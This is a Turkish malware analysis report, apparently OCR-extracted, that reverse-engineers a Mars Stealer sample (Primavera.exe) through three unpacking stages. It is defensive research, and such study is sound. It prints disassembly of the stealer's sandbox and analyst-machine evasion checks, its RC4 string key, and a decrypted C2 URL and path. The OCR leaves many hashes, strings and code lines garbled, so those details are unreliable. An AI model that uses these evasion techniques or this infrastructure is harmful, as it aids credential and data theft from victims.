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On Bakis

Mars Stealer Rus hacker forumlarinda sunulan guglu bir zararli yazilmdir. Yapilan
analizler sayesinde Mars Stealer’in 2020’nin ortasinda durdurulan Oski adli zararli
yazilimin yeniden tasarlanmis hali oldugu tespit edilmistir. Yaygin olarak spam
eposta, sikistirilmis dosya veya indirme baglantisi en yaygin dagitim yontemidir.
Korsan yazilim gibi gérinen zararh bir websitesi olusturmak, bu zararl yazilimi

yaymanin baska bir yaygin yontemidir.

Bu kétu-amacli yazilim bulasmis oldugu bilgisayarlarin;

e Kredi kart bilgilerine,
e Tarayicimin otomatik doldurma verilerine,

e Tarayicruzantisi verilerine,




Primavera.exe Analizi

Adi Primavera.exe

MD5 4EEDOC85C9836EED926E22972D855081

SHA256 fe7ab78e2f6dc10b758707a7ba4la0aabe989eb00746ba0696861d
373c64e499

Dosya Tur( PE32/EXE

Statik Analiz

Tip Toplam Durum Ofset Boyut
an S : Tekrar yikle
PE32 - 6.06296 etlenmemis 0ooooooo 00035600

Entropy Bytes
Balge

Ofset Boyut Entropy Durum
PE Header 00000000 00000400 2.31545 paketlenmemis
Secim(0)[".text] 00000400  0001aal0 476857 paketlenmemis
Secim(1)[".data’] 0001ae00 00016400 7.23900 paketlenmis
Secim(2)[".rsrc'] 00031200 00004400 452454 paketlenmemis

Sekil 1- Zararli yazilimin paketlenme durumu

Primavera.exe’mizi inceledigimizde zararl yazilimin data section’unun paketlenmis

oldugu gozukmektedir.

File Type Portable Executable 32
File Info Microsoft Visual C++ 8
File Size 213.50 KB (218624 bytes)
PE Size 213.50 KB (218624 bytes)

Sekil 2- Zararli yazilimin dosya tipi ve dosya bilgileri

Dosya Tipimiz 32 Bit Executable bir dosyadir ve Microsoft Visual C++ 8 ile
yazilmigtir. 213.50 KB dosya boyutumuz mevcuttur.
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Dinamik Analiz

N - A Hayir:
lj KA
|

Zararh Yazilimin

Makina Cekirdek

u llcode'un Zararli Dil Kontroliinden Makinanin Adi Kullanier Adi
> —> i i ~Evet- - - >
Calistiriimast EXE'yi yiiklemesi S I:\:?:" Gegti Evet Gecti mi? Evet "HALITH"Mi? Hayrr “JhonDoe”Mi?
Hayir
Ekran Gériintusini < Sistem Bilgilerinii » Tarayici Bilgilerini < c2

Alinmasi Toplanmasi N Toplanmasi N DLL'lerin indirilmesi

Toplanan Verilerin C2
Sunucusuna —P —> —> Bitir
Gonderilmesi

Sekil 3- Akis Semasi

if ( w2 == 223 )

1
OpenSemaphorel(@, @, foff_482C8C);
ReadConsoleOutputCharacterW(®, Character, @, @, &NumberOfCharsRead});
CommConfigDialoga(®, @, @);
GetFileSize(@®, @);
EnumTimeFormatsa(e, @, @);
IsvalidLocale(®, @);
InterlockedDecrement{&Addend);
InterlockedExchange(&Target, @);
CreateMailslotA("ritunexaxu™, @, @, 8);
GetPrivateProfileSectionNamesA(®, @, @);
SetLocaleInfolki(e, ®, @);
GenerateConsoleCtrlEvent(®, @);
PeekConsoleInputd(®, (PINPUT_RECORD)&Buffer, @, &NumberOfEventsRead);
EnumTimeFormatsk(@, @, @);
InterlockedDecrement(&val;
GetCalendarInfol(®, @, @, Calbata, @, &Value);
FindFirstVolumeA({LPSTR)}TargetBuffer, @);
SetVolumeMountPointi(@, @);
GetCurrentProcess();
HeapFree(®, @, @);
FindNextFileA(@, (LPWIN32 FIND DATAA)&FindFileData);
GetvVolumeNameForvVolumeMountPointi(@, @, 8);
vZ = dwsize;

E I

Sekil 4 - Analizi zorlastirmak igin kullanilan kodlar

Zararli, analiz surecini zorlastirmak icin dikkat dagitici, bog parametreli API'ler

kullanmistir.
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.text:0040FD98 mov ecx, dwBytes

.text:9040FD9E push ecx ; dwBytes
.text:0848FD9F push a ; uFlags

.text:0040FDAL call ds:GlobalAlloc ; Indirect Call Near Procedure
.text:0840FDAT7 mov edi, ds:0OpenSemaphorel

.text:0040FDAD mov ebp, ds:ReadConsoleQutputCharacteri
.text:0848FDB3 mov ebx, ds:CommConfigDialogh
.text:0040FDBS mov esi, ds:InterlockedDecrement
.text:0840FDBF mov 1pAddress, eax

.text:0040FDCA mov eax, dwBytes

.text:0840FDCY9 mov [esp+1BB@h+var 1ABS], offset unk 9682AB

I
Sekil 5- Shellcode igin bellekte yer ayirma

Zararl yazilim, GlobalAlloc API'sini kullanarak Stage-2 igin heap bellekte 73.352
byte’lik bir alan ayirma islemi yapmaktadir. GlobalAlloc API’'sinden donenhandle
degerinilpAddress degiskenine kaydeder.

UU4UF95D BA boUL0OUOUD mov edx,bb b!'e
0040F962 33c0 XOr eax,eax
0040F9

68 COA23801 push fe7ab78e2f6dc10b758707a7bad1a0aabe989eb00746ba06968138A2C0: L "kernel32.d11"

0040F969 C705 CCA23801 330Qmov dword ptr ds:[138a2cc],320023 0138a2CC 32.d11
0040 €709 D4A23801 6COQmov dword ptr ds:[138A2D4],ferab78e2fodclOb758707a7badly01
004 66:890D C6A23801 [mov word ptr ds:[138BA2C6],cx 0 nel32.d11
004 C705 CBA23801 650Qmov dword ptr ds:[138A2c8],ferab78e2f6dcloby 7 38A2C e132.d11
004 E C705 DDA23801 2e0Qmov dword ptr ds:[138A2D0],ferab78e2f6dclOb758707a7badla0138a200:L".d11"
0040 8 66:8915 C2A23801 |mov word ptr ds:[138A2C2],dx 0138A2C2:L"ernel32.d11"
0040F99F 66:A3 D8A23801 mov word ptr ds:[138AZDE],ax
0040F9A5 FF15 34104000 €all dword ptr ds:[<&GetmoduleHand]ews=]
0040 B 8B15 BCA23801 mov edx,dword ptr ds:[138A2BC]
0040 1 8DOC24 lea ecx,dword ptr ss:|fespl]
004 51 push ecx

1 64 40 push 40
004 A3 BB8A23801 mov dword ptr ds:[138A2B8],eax
0040F 9 Al 8C7D4300 mov eax,dword ptr ds:[437DEC]
0040F9C1 52 push edx

50 push eax

C605 03304300 65 |mov byte ptr ds:[433003],6
C705 F92F4300 6972 mov dword ptr ds:[432FF9],75747269
66:C705 FD2F4300 gmov word ptr ds:[432FFD],6C61

0040F9C 2
0040F O
0040

ct", 65:"e’
rtualProtect™
Tprotect”

LA X X Rl R Y s R i X33}
o
=}
I

0040 €605 FB2F4300 56 |mov byte ptr ds:[432FF8],50 00432FF8 irtualProtect”™, 56:°V'
0040 - 66:C705 04304300 §mov word ptr ds:[433004],7463 00433004 : "ct™
0040F 9ED €605 06304300 00 |mov byte ptr ds:[433006],0
0040F9F4 €705 FF2F4300 5072 mov dword ptr ds:[432FFF],746F7250 00432FFF: "Protect”
—_— FF15 DO104000 call dword ptr ds:[<&virtualProtect>]
0040 59 pop ecx
c3 ret

0040

Sekil 6- Bellekte ayrilan alana RWX (Read-Wirite-Executable) verilmesi

Heap bellekte ayirdigi alana VirtualProtect API'si ile Execute, Read ve Write
izinlerini verir.




.text:00410C3F mov eax, off_432234
.text:00410C44 mov dword_1394284, eax

.text:00416C49 call sub_40FC30 ; Call Procedure
.text:00410C4E call  1lpAddress ; Indirect Call Near Procedure
.text:00410C54 pop edi
.text:00410C55 pop esi
.text:08410C56 pop ebp

.text:00410C57 xor eax, eax ; Logical Exclusive OR
.text:00410C59 pop ebx

.text:00410C5A add esp, 194Ch ; Add

.text:00410C60 retn 16h ; Return Near from Procedure
.text:00410C60 _wWinMain@l6 endp /
.text:00410C60

Sekil 7- Call IpAe

Ardinda
gecilmektedir.

tulmaktadir. Shellcode'nin iginde stage2.e

e yazdirildig! agirilara
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Stage 2 Analizi

Adi -

MD5 4EEDOC85C9836EED926E22972D855081

SHA25 | fe7ab78e2f6dc10b758707a7badlalaabe989eb00746ba0696861d373c6
6 4e499

Dosya | PE32/Shellcode

Taru

Genel Bakis

Stage-1’in igcinden dump edilen Shellcode’un ilk 6nce APl/Hashing teknigini kullanarak
istedigi API'leri almaktadir. Daha sonra aldig1 APl'ler-ile Dynamic Resolving yaparak
bellekte bir alan ayirmaktadir. Bu alana RWX yetkileri-vermektedir. Ayirdigi alanin

icerisine Stage-3 asamasindaki zararli yazilimini yazmaktadir.

Dinamik Analiz

LI 8853 20 mov edx,dword ptr ds:|ebx+20]
L 8B5B 24 mov ebx,dword ptr ds:[ebx+24]
e 03cE add ecx,eax
o0 03p0 add edx,eax
sf0 03D8 add ebx,eax
| 8832 mov esi,dword ptr ds:[edx] esi:"LoadLibrarya”
»| 58 pop eax
L] [0} 50 push eax
o0 03F0 add esi,eax esi:"LoadLibrarya”
o 6A 01 push 1
L[ FE75 0OC push dword ptr ss:[ebp+c]
56 push esi esi:"LoadLibrarya”
E8 23000000 €all 14D7651
83C0 test eax,eax
-~ 74 08 je 14D763A
83c2 04 add edx,4
83C3 02 add ebx,2
- EB E3 jmp 14D761D
58 pop eax
33p2 xor edx,edx
66:8813 mov dx,word ptr ds:[ebx]
CleZ 02 shl edx,2
03ca add ecx,edx
0301 add eax,dword ptr ds:[ecx]
59 pop ecx
5F pop edi
5E pop esi esi:"LoadLibrarya”
58 pop ebx

o e
Sekil 8- APl Hashing Teknigi

Zararl yazihm, API Hashing teknigini kullanarak 60 ile or islemini yapmaktadir. Bunun
sayesinde bir bit sola kaydirir ve istedigi API degerlerini kontrol ederek bulmaya caligir.
Buldugu API degerleri LoadLibraryA, GetProcAddress, GlobalAlloc, VirtualAlloc,
CreateToolhelp32Snapshot, Module32First API'lerini alir. }
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- Lo44U) LI uy mov DyLe pLi SbpeEpp+edx- }Uj,

. 8365 C8 00 and dword ptr ss:[eEp 38]

. 8045 DO lea eax,dword ptr ss: [ebp 3 ]

. 50 push eax kernel32.d11
. 8E45 08 mov_eax,dword ptr ss:[ebp+8]

. FF50 10 €all dword ptr ds:[eax+10] LoadLibrary
. 8945 F4 mov dword ptr ss:[febp-cl,eax

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. C74405 DO 476C6F62 mov dword ptr ss:[lebp+eax-30],626F6C47

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. 83C0 04 add eax,4

. 8945 C8 mov dword ptr ss:[febp-381,eax

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. C74405 DO 616Cc416gmov dword ptr ss:[lebp+eax-30],6c416C61

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. 83C0 04 add eax,4

. 8945 C8 mov dword ptr ss:[febp-381,eax

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. C74405 DO 6C6F6300mov dword ptr ss:[lebp+eax-30],fe7ab78e2f6dcl0b758707a7ba

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. 83C0 04 add eax,4

. 8945 C8 mov dword ptr ss:[febp-381,eax

. 8B45 C8 mov eax,dword ptr ss:[ebp-38]

. C64405 DO 00 mov byte ptr ss:[ebE+eax 300,0

. 365 €8 00 and dword ptr ss:[lebp-38

. 8045 DO lea eax,dword ptr ss: [ebp 30]

. 50 push eax Globalalloc
. FF75 F4 push dword ptr ss: [eb

. 8845 08 mov_eax,dword ptr s Eebp+8]

. FF50 14 €all dword ptr ds: [eax+1—1] GetProcAddress
. 884D 08 mov ecx,dword ptr ss:[ebp+8]

. 8941 18 mov dword ptr ds:[ecx+l18],eax

. 8B45 C8 mov eax,dword ptr ss:[lebp-38]

. C74405 DO 4765744dmov dword ptr ss:|[lebpteax-30],4C746547

. 8B45 C8 mov eax,dword ptr ss:[lebp-38]

Sekil'9- Dyhamic Resolving, Teknigi

API Hash'lerini kullanarak Dynamic Resolving yapmaktadir.

B cru | @ Grafi | Lt Gunlak | Ll Notlar | ® Kesme Noktalan | ¥ Hafiza | [ vigin Cadriiar | =% SEH | || Komut Dosyasi | | semboller <2 Kaynak 4 Re

83c4 0C add esp,C
E8 04000000 gall 3e003c
0000 add byte ptr ds:[eax],al
0000 add byte ptr ds:[eax],al
58 pop eax
8985 6CFFFFFF mov dword ptr ss:|febp-94[,eax
8800 mov eax,dword ptr ds:[eax]
85C0 test eax eax

v 74 03 & 3£004¢
€9 eave

v FFE jm? eax
E8 EE090000 call 3e0A3F
8BB5 G6CFFFFFF mov eax,dword ptr ss:[febp-94]
884D CO mov ecx,dword ptr ss:|[lebp-40]
8D4401 C8 Tlea eax,dword ptr ds:[ecx+eax-38]
8945 F8 mov dword ptr ss:[ebp-8],eax
8B45 FB mov eax,dword ptr ss:[[ebp-8]
8985 S5BFFFFFF mov dword ptr ss:[febp-A8],eax

€785 70FFFFFF 6B6mov dword ptr ss:[lebp-900|,6E726568
€785 7AFFFFFF 6560mov dword ptr ss:[ebp-8cC],32336C65
€785 7BFFFFFF 2E64mov dword ptr ss:[ebp-88],5C6C642E
83A5 7CFFFFFF 00 |and dword ptr ss:[ebp-84],0

8DB5 70FFFFFF lea eax,dword ptr ss:[lebp-90]
50 push eax

FF55 D4 gall dword ptr ss:[ebp-2c]
8945 C4 mov dword ptr ssi|febp-3cf, e

€785 70FFFFFF 5669 mov dword ptr ss:[ebp-90],7
€785 74FFFFFF 7561 mov dword ptr ss:|[ebp-8c], 415(:61 5
€785 7BFFFFFF 6C6(mov dword ptr ss:[lebp-88]|,636F6C6C
83A5 7CFFFFFF 00 |and dword ptr ss:[ebp-.@A],O

8DB5 70FFFFFF Tea eax,dword ptr ss:[lebp-920]
50 push eax

FF75 C4 push dword ptr ss:|[febp-3c]]
FF55 98 €all dword ptr ss:[ebp-68]
8945 B4 mov dword ptr ss: [ebp 4(] eax

F78E TArEErrE SEEQ mors choed nte oo Fobe JA7IE0EE

101 |

@ Dokim1 | 44 Dokom2 | % Dokom3 | @4 Dokima | 44 Dokims | @ k1 | il verel Defiskenkr | 2 vap |
Adres Hex ASCIT

003E0EZD|04 00 00 98(01 00 00 98|01 00 00 DO |22

00
003e0E3D|01 00 A8 76(01 00 3C 00(00 00 00 00|00 00
003e0e4p| 00 00 00 00|00 00 00 00|00 00 OO0 00|00 00
003EQE5D| 00 00 00 AQ(22 00 90 18|00 00 4D 5A |90 00
003EQE6D| Q0 00 04 00(00 00 FF FF (00 00 B8 00|00 00 c
003e0e7D|00 00 40 00(00 00 00 00|00 00 OO0 00|00 00 00 00|.
003e0e8D| 00 00 00 00|00 00 00 00|00 00 OO0 00|00 00
003E0E9D| 00 00 00 00|00 00 EO 00(00 00 OE 1F |BA OE
003EQEAD| 09 CD 21 B8(01 4C CD 21 (54 68 69 73|20 7
003EQEBD| 67 72 61 6D(20 63 61 6E(6E 6F 74 20|62 65
003e0ECD|75 6E 20 69(6E 20 44 4F (53 20 6D 6F |64 65
003e0EDD| 0D 0A 24 00(00 00 00 00(00 00 BC 41 |AF DE

EY =3 = on m2 o o c

72 6F|.1! .LE!This pru
20 7 gram cannot be r
2E 0D|un in DOs mode.
F8 20|..%....... %A PO
B &

Komut:

Sekil 10- Shellcode igerisinde EXE’nin yazildigi alan

VirtualAlloc ile ayirdigi alana zararl yazihmini (EXE) tek tek yazdirmaktadir.

>y
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i fe7ab78e2fbdc10b758707a7bad1al0aabe989eb00746hal696861d373c64e499_003E000032.bin

offset(h) 00 01 02 03 04 05 06 07 08 09 OR 0B OC 0D OE OF (ozilmis metin
00000D%0 55 BB EC 81 EC 94 00 00 00 8D B85 6C FF FF FF 50 U«i.i”.....L§yyyP
00000DA0O C7 85 €C FF FF FF 94 00 00 00 FF 55 10 83 BD 70 C..l¥¥¥”...¥U.fp
00000DBO FF FF FF 06 73 05 33 <0 40 ©9 ¢3 64 Al 30 00 00 ¥¥y.s.3RREE4;0..
00000DCO 00 83 B8 R4 00 00 00 OZ 75 OE B9 FO 55 00 00 66 .f =....u.'du..f
00000DDO 39 88 AC 00 00 00 73 DE 8B B8 2C 02 00 00 8B 55 9°-...s85¢",...<U
0000D0DEC 0OC 8B B0 0OC 02 00 00 56 BB 75 08 57 8D 3C 16 85 .<€....Vc<u.W.<...
00000DF0 C9% 74 16 83 CO 08 8B 10 3B D6 76 07 3B D7 73 03 Et.fh.¢.;0v.:xs.
00000EQ0 83 20 00 83 cO 08 49 75 ED S5F 33 cO 5E €9 €3 55 § .fA.Iui 3A~EAU
00000E10 BB EC 56 BE 00 04 00 00 56 FF 55 0B 6A& 00 FF 55 «<ivX%....V§U.J.¥U
00000E20 08 3B C6é SE 74 05 6A& 00 FF 55 0OC 5D C3 04 00 00 .;E~t.j.¥U.l&...
00000E30 98 01 00 00 98 01 00 00 DO 22 00 40 0B 01 00 28 ~...~...8".@...~
00000E40 76 01 00 3C 00 00 00 00 00 00 00 00 00 00 00 00 Vee<eeurernnnnn.
00000ES0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .eeneeneenennn.
00000E60 A0 22 00 90 18 00 00 90 00 03 00 00 00 04 ".....Mg.......
00000E70 00 00 00 FF FF 00 00 B3 00 00 00 00 00 00 00 40 B 5" SR @
00000EBC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .o eenennn.
00000ESC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  tuerneeeennnnnn.
00000ERQ 00 00 00 EO 00 00 00 OE 1F BR OF 00 B4 09 CD 21  ...3..... L
00000ERO B8 01 4C CD 21 54 &8 6% 73 20 70 72 &F &7 72 61 ,.LI!This progra
00000ECO 6D 20 63 61 6E 6E &F 74 20 62 65 20 72 75 6E 20 m cannot be run
00000EDO 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0OA 24 in DOS mode....S
00000EEQ 00 00 00 00 00 00 00 BC 41 AF DE F8 20 C1 BD FB  ....... YA So A.o
00000EFO0 20 Cl 8D FS8 20 C1 BD 97 56 SF 8D FB 20 C1 8D F1 A.g A.—V .0 A.f
00000F00 58 42 8D FB 20 ©1 BD Fl1 58 52 BD FR 20 C1 BD 78 XB.01 A.AXR.4 A.x
00000F10 59 CO BC FB 20 Cl1 8D F8 20 CO 8D F1 20 C1 8D 97 YAGH A.¢ A.A A.—
00000F20 56 6E BD F5 20 cl 8D 97 56 5C 8D F9 20 Cl1 8D 52 Vn.d A.—V\.21 A.R
00000F30 69 63 68 F3 20 C1 8D 00 00 00 00 00 00 00 00 00 iche BA..........
00000F40 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00 CF ....... PE..L...I
00000F50 OA E9 &4 00 00 00 00 00 00 00 00 EO 00 02 01 0B  .é&d........ a....
00000F60 01 OZ 00 00 2E 01 00 00 72 21 00 00 00 00 00 40 ........ zloo... @
00000F70 OB 01 00 00 10 00 00 00 40 01 00 00 00 40 00 00 ........ @....Q..
00000FB80 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05  tuerrennennnnnn.
00000FS0 00 01 00 00 00 00 00 00 DO 22 00 00 04 00 00 00  ........ G ..
NOONNERN nn nn nn 0?2 nn A0 21 NN o 1N e N0 10 0N nn nn [

Sekil 11- Shellcode’nin icinden alinan dump dosyasi

EXE’yi decrypt edip c¢alistirmaktadir. Butun bu islemleri yaptiktan sonra Stage-3

asamasina gegis saglanmaktadir.




A
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Stage 3 Analizi

Adi -
MD5 660F2003EF551D96AD9A74343645A9C6
SHA25 | 6f8d419ablal75dad869b4fd265296421167fed952c631f1f4cded4829¢ee
6 ab0b
Dosya . | PE32/EXE
Tard
Statik. Analiz

compiler

linker

Microsoft Visual C/C++(2010)[-]
Microsoft Linker(10.0)[GUI32]

Sekil 12- Zararli yazilimin.compiler kontrolii

Zararl yazihmin C++ ile yazildigini ve dosya turimuzin 32 bit bir EXE oldugu
sonucuna varildi.

Dinamik Analiz

D45 DC lea eax,dword ptr ss:[febp-24]

50 push eax

FF15 9CBESD00 call dword ptr ds:[<&GetSystemInfos]
884D FO mov ecx,dword ptr ss:[Jebp-10]
334D DB mov dword ptr ss:[ebp-23],ecx
837D DB 02 cmp dword ptr ss:[ebp-28],2

vr73 08 jae umarimexedir,3C1124

BA 00 push 0

FF15 14875000 call dword ptr ds: [<BEXtProcess:]
BBES mov esp,ebp

1] pop ebp

a ret

cC int3

cC int3

Sekil 13- Cihaz ¢ekirdek sayisi kontroli

eax: "ty "

GetSysteminfo API kullanilarak sistem bilgileri alinir. Bu bilgiler i¢cerisinden iglemci
cekirdek sayisini alir ve 2 ile karsilastirir. Eger cihaz 2 tane ¢ekirdekten daha az
cekirdege sahip ise program kapanir.

4
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35 pusi eup
BBEC mov ebp, esp
push ecx
€745 FC 00000000 mov dword ptr ss:
6A 00 push 0
BA 40 push 40
68 00300000 push 3000
&8 DO070000 push 700
6A 00 push 0
FF15 00885000 gall dword ptr ds:
push eax
FF15 4875000 gall dword ptr ds:
8945 FC mov dword ptr ss:
837D FC 00 cmp dword ptr ss
v 75 08 jne umarimexedir.
GA 00 push 0
FF15 14875000 €all dword ptr ds:
EB 52FFFFFF call umarimexedir.,
B8BES mov esp, ebp
5D pop ebp
a ret
cC int3
cC int3
cC int3
cC int3
o« int3
o« int3
o« int3
or inr3

[ebp-41,0

[<&GetCurrentProcess:]

[<&VirtualAllocExNumas]
[ebp-4] , eax

:Bebp-41,0

3C1069

[<aExiTProcesss]
3C1040

Sekil 14~ Cihaz fiziksel CPU kontrol

+|| FPU Gdster

EAX 00210000
EBX  7EFDED0D
ECX 37270000
EDX  0014DFES
EBP  0034FE70
ESP  0034FB&C
ESI 00000000
EDI 00000000

EIP  003C10D8 umar imexedir.003C1003

EFLAGS 00000244
IF1 PF1 AF O
OF0 SFO0 DFO
CFO TFO IF1

Lasterror 00000005 (ERROR_ACCESS_DENIED)
LastStatus C0000034 (STATUS_OBIECT_NAME_NOT_FOUND)

G5 0028 F5 0053
ES 0026 D5 0028
C5 0023 23 0028

ORO 00000000

VirtualAllocExNuma APLile mevcut igslemin bellek alaninaerigiimeye ¢alisir.
VirtualAllocExNuma birden fazla fiziksel CPU bulunan sistemlerde ¢alismaktadir. Bu
metot sayesinde zararli.yazihm, ¢alistigi cihazin sandbox veyaantiviriis
sistemlerinin_ bulunup bulunmadigini kontrol etmektedir.

A3 48832C00
68 F44E0CO0
ES BF1CO000
83C4 04

A3 68812¢00
68 084F0C0O0
ES ADICO000
83C4 04

A3 0C852¢00
68 184F0C0O0
ES 9B1C0000
83c4 04

A3 78852C00
68 ZCAF0CO0
E8 B91C0000
83c4 04

A3 C8812C00
68 404F0C00
E8 771C0000
83c4 04

A3 B4812C00
68 544F0C00
E8 &51C0000
83c4 04

A3 54822C00
68 604FO0C0O0
E8 531c0000

Sekll 15 API| Decoder

push umarimexedir.C4EF4

€alll <umarimexedir.decoders
add esp,4

mov dword ptr ds:[2C€8168],eax
push umarimexedir.C4F08

€all <umarimexedir.decoder>
add esp,4

mov dword ptr ds:[2c850cC],eax
push umarimexedir.C4F18

call <umarimexedir.decoders>
add esp,4

mov dword ptr ds:[2€8578],eax
push umarimexedir.C4F2cC

call <umarimexedir.decoders>
add esp,4

mov dword ptr ds:[2C81C8],eax
push umarimexedir.C4F40

call <umarimexedir.decoder>
add esp,4

mov dwurd ptr ds:[2C81B4],eax
push umarimexedir.C4F54

call <umarimexedir.decoder>
add esp,4

mov dword ptr ds:[2C8254],eax
push umarimexedir.c4rF60

call <umarimexedir.decoder>

mov_dword ptr‘ ds: [2c8348], ax

OOZLaMa & GetPr‘nc«ddress . “eax: "%hu, %R0, %0
C4EF4 : "y YRAMDF jba0F VY5V

&"LoadLibrarya™, eax:"%hu/%hu/%hu”
vihsresa="

002C850C :&"1strcatA”™, eax: "%hu/%hu/%hu"
C4F18: "yptEojh8areqzg=="

OOZLn“*S &"OpenEventA”, eax: %hu/%hu/%hu™
C4F2C: "xp1ENQ1vSQKBSYNV"

002C81C8:&"CreateEventA”, eax: "%hu/%hu/%hu"
C4F40: "xodoIxhCbrrks51="

002C81B4 :&"CloseHandle", eax:"%hu/%hu/%hu™
C4F54: "lodemgO="

002C825
C4F60:

:&"sleep”, eax:"%hu/%hu/%hu"
5vaQ5vfZseqzzhdgL SHCEBTx0=""

Zararli yazilim, cihazda ilk dnce sifreli stringleri coziimleme yaparak islemlere baglar.




Output

Sekil'l6- RC4 sifrelemesinin, de€rypt islemi

Zararl “yazilim,  cihaz icinde kontrollerini

j1/hLVmbC+j 1 vZreF Ay zDBxWKrC caqYte/ aoMPT jZcK7ZYNGE

sagladiktan sonra sifreli stringleri

¢ozumlemeye baslar. Cozumleme fonksiyonu, i¢erisinde bulunan sifreli stringleri RC4
algoritmasini kullanarak c¢oézumler. Cozumlenen stringleri bellege "kaydeder. RC4

sifrelemesi...icin.~kullandigi key
bulunmustur.

“4109976902326622912460160242” . ~olarak

Sifrelenmis kelimeler

Cozumlenmis kelimeler

wo5VBA9IbJ5kQ4VxaaU= GetProcAdress
YYRAMDEFjbaOFVY5V LoadLibraryA
6ZhVJh5reb4= IstrcatA
yptEOjh8arEQZg== OpenEventA
XPIENQIVSgkBSYNV CreateEventA
x0dOJIxhCbrFkS5I= CloseHandleA

wo5VAQ5VvIZsBQZZhdgLSHCE8fx0=

GetUserDefaultLangID

04JTIAhrY541S5h3X67QCcl6

VirtualAllocExNuma

04JTIAhrYS5KkWQpl= VirtualFree
wo5VBwWR5e70JbplydQ== GetSystemInfo
04JTIAhrY541S5h3 VirtualAlloc
zY5AIJDxmY7AH HeapAlloc
wo5VFxJnf60QQoVae7v7PQ== GetComputerNameA
6ZhVJh56dp4= IstrcpyA
wo5VBA9IbLOXVL9xe6Y= GetProcessHeap
wo5VFwh4fboKU6dmdbX7D9w= GetCurrentProcess
wWJINIIC14YLwWBVIQ= ExitProcess
wodONhxmQroJSIVtSalL/CNoocyE= GlobalMemoryStatusEx
wo5VBwWR5e70Jc555 GetSystemTime
1pJSIBhnW7YJQgN7XL/yGfsyWzw= SystemTimeToFileTime
519XNQ1jPO1KQ5t4 advapi32.dll
4091Z208ka7MI gdi32.dll
8JhEJKk441bsISw== user32.dll

5plYJAKSPfFkS5s=

crypt32.dll




659FOBEka7MI ntdll.dll
wWO5VAQSVIZEFSpJV GetUserNameA
XpIENQIvS5wI CreateDCA
wo5VEBh8ZrwBZJZkaQ== GetDeviceCaps
145NMRx5apsn ReleaseDC
XplYJAIZe60NSZBAdZT3Es4pTxg= CryptStringToBinaryA
06ZWNQI9VWZITR0OVX VMwareVMware
zaptbSIC HAL9TH
z4RJOjllag== JohnDoe
waJyBDFLVg== DISPLAY
olNUelhievBBT4l= %hu/%hu/%hu

7Z9VJECIILINRI9xe7rOE8c1RTamxWpAIA

http://michealjohnson.(top)

qo4YNO4+OrkHHs51LrO0S8p1R|G4

/e9c345fc99ade67e.php

gt8QZhwePO5UQc8hfOeoHct0

1412a0310f85f16ad/

wo5VERNS8ZqOLSZpxdKLIHdOyVzukjl8=

GetEnvireonmentVariableA

woSVEhRMap4QU4V9eKPqGdwa

GetFileAttributesA

wodONhXmQ7AHTA== GlobalLock
wo5VEhRmMaowNXZI= GetFileSize
wodONhxmXLYeQg== GlobalSize
XpIENQIVW7ALS59xdgatTvw1Vym7g3Fb CreateToolhelp32Snapshot
zJh20wo8048WSJIRxaaU= IsWow64Process
1ZIONxh5fOxWazZJsbg== Process32Next
WS5IEMTFjbaOFVY4= FreeLibrary
wo5VBwWR5e70Jd5hjf6 TNCM4vQyo= GetSystemPowerStatus

wo5VAXRka7ATVLN9aLPOCMApPTXxg=

GetWindowsDirectoryA

wo5VAQ5VIZsBQZZhdgLSEBw6WjyGINnNK

GetUserDefaultLocaleName

04JTIAhrY48WSINxeal=

VirtualProtect

wo5VGBJItZrwFS6dmdbX7D9wORBCmjXFdPcTH
GaSPhhi=

GetLogicalProcessorinformati
OnEXx

yPtEOI14YLWBVIQ=

OpenProcess

0Y5TORRKbgsBd4V7ebPtDw==

TerminateProcess

wo5VFwh4fboKU6dmdbX7D9wSUg==

GetCurrentProcessld

4091JBF/fPFkS5s= gdiplus.dll
60dEZ08ka7MI ole32.dll
54hTLQ1+IbsISw== bcrypt.dll
"80JPPRNve/FkS5s=" wininet.dll
"90NNIxXx6ZvFkS5s=" shlwapi.dll
"90NEOBES5PfFkS5s=" shell32.dll
"9ZhAJBQka7MI" psapi.dll
"95hVJglnaK1KQ5t4" rstrtmgr.dll

Tablo 1- Decode-encode edilmis stringler
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.text:203C68D1 mov edx, sqlite3_open_string
.text:003C68D7 push edx ; lpProcName
.text:003C68D8 mov eax, [ebp+hModule]
.text:083C68DB push eax ; hModule
.text:003C68DC call GetProcAddress 11 Proce
.text:003C68E1 add esp, 8 /
.text:003C63E4 mov sqlite3_open_ call, eax

Sekil 17- GetProcAddress ile Dynamic APl Resolving islemi yapiliyor

Ardindan kaydedilen stringler GetProcAddress API’si ile Dynamic/API Resolving
islemine tabii tutulur.

PP | PRIV cr] P veep [PIFPIERT L - an

o 00ED1131 8BEC mov ebp,esp
o 00ED1133 Al B8B40EOQL mov eax,dword ptr ds:[10E8488] eax:"ctx ™, 010E8488:&"HALOTH"
®| D0ED 50 push eax eax:"ctx "
o D0ED1139 ES 92FD0O00D call <umarimexedir.hostname_aliyors>
| O0ED113E 50 push eax eax:'ctx "
®| 00ED113F ES 5C0A0100 call umarimexedir.EE1BAQ
o 00ED1144 83c4 08 add esp,8
®| 00ED1147 85c0 test eax,eax eax:"ctx "
--@|| 00ED1149 ~ 75 21 jne umar imexedir. ED116C
| 00ED114B 880D 50850E01 mov ecx,dword ptr ds: [10E8550] 010E8550:&" J0hnDoe”
®| 00ED1151 51 push ecx
®| 00ED1152 ES 39FD0O000 call <umarimexedir.zorro_cekti>
o D0ED1157 50 push eax eax:"ctx "
®| 00ED1158 ES 43040100 call umarimexedir.EE1BAQ
o 00ED115D 83c4 08 add esp,8
®| 00ED1160 85c0 test eax,eax eax:"ctx "
--@|| 00ED1162 ~ 75 08 jne umar imexedir. ED116C
®| 00ED1164 6A 00 push 0

Sekil 18- Bilgisayar adinin ve Windows kullanicisinin kentrolt

Zararl yazihmj bilgisayarin adinin “HAL9TH” ve Windows kullanicisinin“John
Doe” olup olmadigina kontrol etmektedir. Eger herhangi birisinde eslesme saglanirsa
